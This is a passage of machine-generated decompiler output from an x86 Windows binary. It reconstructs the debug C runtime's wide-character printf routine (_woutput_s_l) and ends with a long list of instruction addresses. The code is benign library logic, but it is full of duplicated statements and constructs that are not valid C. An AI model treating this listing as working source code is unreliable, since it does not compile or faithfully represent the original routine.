																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											goto L61;
																										}
																									}
																									L48:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																									if(__ecx != 0x34) {
																										goto L50;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										goto L61;
																									}
																								case 1:
																									L62:
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) = __ecx;
																									goto L64;
																								case 2:
																									L43:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																									} else {
																										__ecx =  *(__ebp + 0xc);
																										__ecx =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) = __ecx;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L64;
																								case 3:
																									L63:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L64;
																								case 4:
																									goto L64;
																							}
																						case 7:
																							goto L65;
																						case 8:
																							L24:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) = __ecx;
																							goto L27;
																						case 9:
																							L25:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L27;
																						case 0xa:
																							L23:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							goto L27;
																						case 0xb:
																							L22:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L27;
																						case 0xc:
																							L26:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							goto L27;
																						case 0xd:
																							L27:
																							goto L214;
																					}
																				} else {
																					_t640 = 0;
																					if(0 == 0) {
																						 *(_t672 - 0x4dc) = 0;
																					} else {
																						 *(_t672 - 0x4dc) = 1;
																					}
																					 *(_t672 - 0x46c) =  *(_t672 - 0x4dc);
																					if( *(_t672 - 0x46c) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t517 = L0041E000();
																						_t675 = _t675 + 0x14;
																						if(_t517 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t672 - 0x46c) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00422AF0(_t586))) = 0x16;
																						E00422880(_t565, _t586, _t670, _t671, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t672 - 0x4c8) = 0xffffffff;
																						E0041AAA0(_t672 - 0x40);
																						_t502 =  *(_t672 - 0x4c8);
																						L225:
																						return E0042BAA0(_t502, _t565,  *(_t672 - 0x48) ^ _t672, _t640, _t670, _t671);
																					}
																				}
																			}
																			L215:
																			if( *(_t672 - 0x45c) == 0 ||  *(_t672 - 0x45c) == 7) {
																				 *(_t672 - 0x4f8) = 1;
																			} else {
																				 *(_t672 - 0x4f8) = 0;
																			}
																			_t640 =  *(_t672 - 0x4f8);
																			 *(_t672 - 0x4bc) =  *(_t672 - 0x4f8);
																			if( *(_t672 - 0x4bc) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t507 = L0041E000();
																				_t675 = _t675 + 0x14;
																				if(_t507 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t672 - 0x4bc) != 0) {
																				 *(_t672 - 0x4d4) =  *(_t672 - 0x44c);
																				E0041AAA0(_t672 - 0x40);
																				_t502 =  *(_t672 - 0x4d4);
																			} else {
																				 *((intOrPtr*)(L00422AF0(_t578))) = 0x16;
																				E00422880(_t565, _t578, _t670, _t671, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t672 - 0x4d0) = 0xffffffff;
																				E0041AAA0(_t672 - 0x40);
																				_t502 =  *(_t672 - 0x4d0);
																			}
																			goto L225;
																		}
																		L188:
																		if(( *(_t672 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t672 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t672 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t672 - 0x10) & 0x00000002) != 0) {
																						 *((short*)(_t672 - 0x14)) = 0x20;
																						 *(_t672 - 0x1c) = 1;
																					}
																				} else {
																					 *((short*)(_t672 - 0x14)) = 0x2b;
																					 *(_t672 - 0x1c) = 1;
																				}
																			} else {
																				 *((short*)(_t672 - 0x14)) = 0x2d;
																				 *(_t672 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t672 - 0x4ac)) =  *((intOrPtr*)(_t672 - 0x18)) -  *((intOrPtr*)(_t672 - 0x24)) -  *(_t672 - 0x1c);
																		if(( *(_t672 - 0x10) & 0x0000000c) == 0) {
																			E0043C760(0x20,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																			_t675 = _t675 + 0x10;
																		}
																		E0043C7A0( *(_t672 - 0x1c), _t672 - 0x14,  *(_t672 - 0x1c),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																		_t675 = _t675 + 0x10;
																		if(( *(_t672 - 0x10) & 0x00000008) != 0 && ( *(_t672 - 0x10) & 0x00000004) == 0) {
																			E0043C760(0x30,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																			_t675 = _t675 + 0x10;
																		}
																		if( *(_t672 - 0xc) != 0 ||  *((intOrPtr*)(_t672 - 0x24)) <= 0) {
																			L208:
																			E0043C7A0( *((intOrPtr*)(_t672 - 0x24)),  *((intOrPtr*)(_t672 - 4)),  *((intOrPtr*)(_t672 - 0x24)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																			_t675 = _t675 + 0x10;
																			goto L209;
																		} else {
																			L202:
																			 *((intOrPtr*)(_t672 - 0x4b0)) =  *((intOrPtr*)(_t672 - 4));
																			 *((intOrPtr*)(_t672 - 0x4b4)) =  *((intOrPtr*)(_t672 - 0x24));
																			while(1) {
																				L203:
																				 *((intOrPtr*)(_t672 - 0x4b4)) =  *((intOrPtr*)(_t672 - 0x4b4)) - 1;
																				if( *((intOrPtr*)(_t672 - 0x4b4)) <= 0) {
																					break;
																				}
																				L204:
																				_t535 = E0041AAD0(_t672 - 0x40);
																				_t539 = E0043B200(_t672 - 0x458,  *((intOrPtr*)(_t672 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041AAD0(_t672 - 0x40))) + 0xac)), _t535);
																				_t675 = _t675 + 0x10;
																				 *((intOrPtr*)(_t672 - 0x4b8)) = _t539;
																				if( *((intOrPtr*)(_t672 - 0x4b8)) > 0) {
																					L206:
																					E0043C700( *(_t672 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																					_t675 = _t675 + 0xc;
																					 *((intOrPtr*)(_t672 - 0x4b0)) =  *((intOrPtr*)(_t672 - 0x4b0)) +  *((intOrPtr*)(_t672 - 0x4b8));
																					continue;
																				}
																				L205:
																				 *(_t672 - 0x44c) = 0xffffffff;
																				break;
																			}
																			L207:
																			L209:
																			if( *(_t672 - 0x44c) >= 0 && ( *(_t672 - 0x10) & 0x00000004) != 0) {
																				E0043C760(0x20,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																				_t675 = _t675 + 0x10;
																			}
																			goto L212;
																		}
																		L65:
																		__eax =  *(__ebp - 0x454) & 0x0000ffff;
																		 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																		__ecx =  *(__ebp - 0x4ec);
																		__ecx =  *(__ebp - 0x4ec) - 0x41;
																		 *(__ebp - 0x4ec) = __ecx;
																	} while ( *(__ebp - 0x4ec) > 0x37);
																	__edx =  *(__ebp - 0x4ec);
																	_t141 = __edx + 0x43c6c0; // 0xcccccc0d
																	__eax =  *_t141 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M0043C684))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *((intOrPtr*)(__ebp - 0x460)) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E00428150(__ebp + 0x14);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DAA0( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			if( *((intOrPtr*)( *(__ebp - 0x474) + 4)) != 0) {
																				L78:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B540( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AAD0(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx = __ebp - 0x490;
																					_push(__ebp - 0x490);
																					__edx =  *0x440374; // 0x2c9cf96e
																					E00424340(__edx) =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AAD0(__ebp - 0x40));
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0x440380; // 0xac9cf9bd
																						E00424340(__edx) =  *__eax();
																						__esp = __esp + 8;
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AAD0(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x44037c; // 0xac9cf9c2
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__edx =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DAA0( *(__ebp - 4));
																					goto L187;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E00428150(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			if(__ecx == 0) {
																				 *(__ebp - 0x448) =  *(__ebp - 0x458);
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AAD0(__ebp - 0x40);
																				__ecx = __ebp - 0x40;
																				E0041AAD0(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				if(E0043B200(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448) < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			goto L187;
																		case 7:
																			L141:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L150;
																		case 8:
																			L106:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x484) = E00428150(__ebp + 0x14);
																			if(E00433CF0() != 0) {
																				L116:
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0x00000020;
																				if(__ecx == 0) {
																					__ecx =  *(__ebp - 0x484);
																					__edx =  *(__ebp - 0x44c);
																					 *__ecx =  *(__ebp - 0x44c);
																				} else {
																					__edx =  *(__ebp - 0x484);
																					__ax =  *(__ebp - 0x44c);
																					 *( *(__ebp - 0x484)) = __ax;
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L187;
																			}
																			L107:
																			__ecx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x4f4) = 0;
																			} else {
																				 *(__ebp - 0x4f4) = 1;
																			}
																			__edx =  *(__ebp - 0x4f4);
																			 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																			if( *(__ebp - 0x488) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E000();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x488) != 0) {
																				L115:
																				goto L187;
																			} else {
																				L114:
																				 *((intOrPtr*)(L00422AF0(__ecx))) = 0x16;
																				__eax = E00422880(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x4cc) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AAA0(__ecx);
																				__eax =  *(__ebp - 0x4cc);
																				goto L225;
																			}
																		case 9:
																			L148:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L150;
																		case 0xa:
																			L142:
																			 *(__ebp - 0x30) = 8;
																			goto L143;
																		case 0xb:
																			L84:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x4f0) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x4f0);
																			 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428150(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				L98:
																				if( *(__ebp - 4) == 0) {
																					__ecx =  *0x440f84; // 0x404438
																					 *(__ebp - 4) = __ecx;
																				}
																				 *(__ebp - 0xc) = 1;
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x480) =  *(__ebp - 4);
																				while(1) {
																					L101:
																					__eax =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c) - 1;
																					 *(__ebp - 0x47c) = __ecx;
																					if( *(__ebp - 0x47c) == 0) {
																						break;
																					}
																					L102:
																					__edx =  *(__ebp - 0x480);
																					__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L103:
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				}
																				L104:
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) -  *(__ebp - 4);
																				__edx =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				goto L105;
																			} else {
																				L88:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f80; // 0x404448
																					 *(__ebp - 4) = __eax;
																				}
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x478) = __ecx;
																				 *(__ebp - 0x24) = 0;
																				while(1) {
																					L92:
																					__eax =  *(__ebp - 0x24);
																					if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																						break;
																					}
																					L93:
																					__ecx =  *(__ebp - 0x478);
																					__edx =  *__ecx;
																					if( *__ecx == 0) {
																						break;
																					}
																					L94:
																					__ecx = __ebp - 0x40;
																					E0041AAD0(__ebp - 0x40) =  *(__ebp - 0x478);
																					__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																					if(E00431000( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478)) != 0) {
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					}
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																				}
																				L97:
																				L105:
																				goto L187;
																			}
																		case 0xc:
																			goto L0;
																		case 0xd:
																			L144:
																			 *((intOrPtr*)(__ebp - 0x460)) = 0x27;
																			L145:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx = 0x30;
																				 *((short*)(__ebp - 0x14)) = __dx;
																				 *((intOrPtr*)(__ebp - 0x460)) =  *((intOrPtr*)(__ebp - 0x460)) + 0x51;
																				 *(__ebp - 0x12) = __ax;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L150;
																		case 0xe:
																			goto L187;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x0043c01d
0x0043c01d
0x0043c01d
0x0043c01d
0x0043c01d
0x0043c01d
0x0043c01d
0x0043c01d
0x00000000
0x0043c092
0x00000000
0x0043c092
0x00000000
0x0043c092
0x0043c092
0x0043c09a
0x0043c0bc
0x0043c0c2
0x0043c0e7
0x0043c12e
0x0043c131
0x0043c152
0x0043c157
0x0043c15c
0x0043c162
0x0043c133
0x0043c137
0x0043c13c
0x0043c13f
0x0043c140
0x0043c146
0x0043c146
0x0043c0e9
0x0043c0ec
0x0043c0ef
0x0043c111
0x0043c116
0x0043c11c
0x0043c11d
0x0043c123
0x0043c0f1
0x0043c0f5
0x0043c0fa
0x0043c0fe
0x0043c0ff
0x0043c105
0x0043c105
0x0043c129
0x0043c0c4
0x0043c0c8
0x0043c0cd
0x0043c0d0
0x0043c0d6
0x0043c0d6
0x0043c09c
0x0043c0a0
0x0043c0a5
0x0043c0a8
0x0043c0ae
0x0043c0ae
0x0043c16e
0x0043c1b0
0x0043c1b6
0x0043c1c2
0x00000000
0x0043c170
0x0043c170
0x0043c170
0x0043c177
0x00000000
0x0043c184
0x0043c184
0x0043c192
0x0043c197
0x0043c19d
0x0043c1ab
0x0043c1c8
0x0043c1d0
0x0043c1f2
0x0043c1f2
0x0043c1fc
0x0043c20d
0x0043c217
0x0043c219
0x0043c219
0x0043c1fe
0x0043c1fe
0x0043c1fe
0x0043c22c
0x0043c22e
0x0043c22e
0x0043c23b
0x0043c23e
0x0043c23e
0x0043c244
0x0043c247
0x0043c24c
0x00000000
0x00000000
0x0043c25c
0x0043c25f
0x0043c269
0x0043c278
0x0043c281
0x0043c297
0x0043c29d
0x0043c2aa
0x0043c2b8
0x0043c2b8
0x0043c2c7
0x0043c2cf
0x0043c2cf
0x0043c2d7
0x0043c2e0
0x0043c2e9
0x0043c2f5
0x0043c30e
0x0043c314
0x0043c31d
0x0043c31d
0x00000000
0x0043c320
0x00000000
0x0043c320
0x00000000
0x0043c320
0x00000000
0x0043c320
0x00000000
0x0043c320
0x00000000
0x0043c320
0x00000000
0x0043c320
0x0043c320
0x0043c320
0x0043c324
0x0043c500
0x0043c504
0x0043c50c
0x0043c511
0x0043c514
0x0043c514
0x0043c51b
0x0043c51b
0x0043b69b
0x0043b6a2
0x0043b6af
0x0043b6b4
0x00000000
0x0043b6c7
0x0043b6d1
0x0043b6f8
0x0043b6df
0x0043b6f0
0x0043b6f0
0x0043b6d1
0x0043b702
0x0043b708
0x0043b714
0x0043b717
0x0043b725
0x0043b728
0x0043b735
0x0043b7da
0x0043b7e0
0x0043b7ed
0x00000000
0x00000000
0x0043b7f3
0x0043b7f9
0x00000000
0x0043b800
0x0043b800
0x0043b81a
0x0043b81f
0x00000000
0x00000000
0x0043b827
0x0043b827
0x0043b82e
0x0043b831
0x0043b834
0x0043b837
0x0043b83a
0x0043b83d
0x0043b840
0x0043b847
0x0043b84e
0x00000000
0x00000000
0x0043b85a
0x0043b85a
0x0043b861
0x0043b86d
0x0043b870
0x0043b87d
0x00000000
0x00000000
0x0043b87f
0x0043b885
0x0043b885
0x0043b88c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043b8d0
0x0043b8d0
0x0043b8da
0x0043b907
0x0043b911
0x0043b911
0x0043b915
0x0043b8dc
0x0043b8dc
0x0043b8e8
0x0043b8ef
0x0043b8f4
0x0043b8f7
0x0043b8fa
0x0043b8fd
0x0043b8ff
0x0043b8ff
0x0043b902
0x00000000
0x00000000
0x0043b91d
0x0043b91d
0x00000000
0x00000000
0x0043b929
0x0043b929
0x0043b933
0x0043b953
0x0043b956
0x0043b960
0x0043b960
0x0043b964
0x0043b935
0x0043b935
0x0043b941
0x0043b948
0x0043b94a
0x0043b94a
0x0043b951
0x00000000
0x00000000
0x0043b96c
0x0043b96c
0x0043b973
0x0043b97f
0x0043b982
0x0043b98f
0x0043baa2
0x00000000
0x0043baa2
0x0043b995
0x0043b99b
0x0043b99b
0x0043b9a2
0x00000000
0x0043b9d9
0x0043b9d9
0x0043b9dc
0x0043b9e2
0x0043ba09
0x0043ba09
0x0043ba0c
0x0043ba12
0x0043ba36
0x0043ba36
0x0043ba39
0x0043ba3f
0x0043ba78
0x0043ba89
0x00000000
0x0043ba89
0x0043ba41
0x0043ba41
0x0043ba44
0x0043ba4a
0x00000000
0x00000000
0x0043ba4c
0x0043ba4c
0x0043ba4f
0x0043ba55
0x00000000
0x00000000
0x0043ba57
0x0043ba57
0x0043ba5a
0x0043ba60
0x00000000
0x00000000
0x0043ba62
0x0043ba62
0x0043ba65
0x0043ba6b
0x00000000
0x00000000
0x0043ba6d
0x0043ba6d
0x0043ba70
0x0043ba76
0x0043ba7a
0x00000000
0x0043ba7a
0x00000000
0x0043ba76
0x0043ba14
0x0043ba14
0x0043ba17
0x0043ba1e
0x00000000
0x0043ba20
0x0043ba23
0x0043ba26
0x0043ba2c
0x0043ba31
0x00000000
0x0043ba31
0x0043ba1e
0x0043b9e4
0x0043b9e4
0x0043b9e7
0x0043b9ee
0x00000000
0x0043b9f0
0x0043b9f3
0x0043b9f6
0x0043b9fc
0x0043ba01
0x00000000
0x0043ba01
0x00000000
0x0043ba8b
0x0043ba8b
0x0043ba8e
0x0043ba91
0x00000000
0x00000000
0x0043b9a9
0x0043b9a9
0x0043b9ac
0x0043b9b2
0x0043b9ce
0x0043b9d1
0x0043b9b4
0x0043b9b4
0x0043b9b7
0x0043b9ba
0x0043b9c0
0x0043b9c6
0x0043b9c6
0x00000000
0x00000000
0x0043ba96
0x0043ba99
0x0043ba9f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043b8a9
0x0043b8a9
0x0043b8ac
0x0043b8af
0x00000000
0x00000000
0x0043b8b4
0x0043b8b7
0x0043b8bd
0x00000000
0x00000000
0x0043b89e
0x0043b8a1
0x0043b8a4
0x00000000
0x00000000
0x0043b893
0x0043b896
0x0043b899
0x00000000
0x00000000
0x0043b8c2
0x0043b8c5
0x0043b8c8
0x00000000
0x00000000
0x0043b8cb
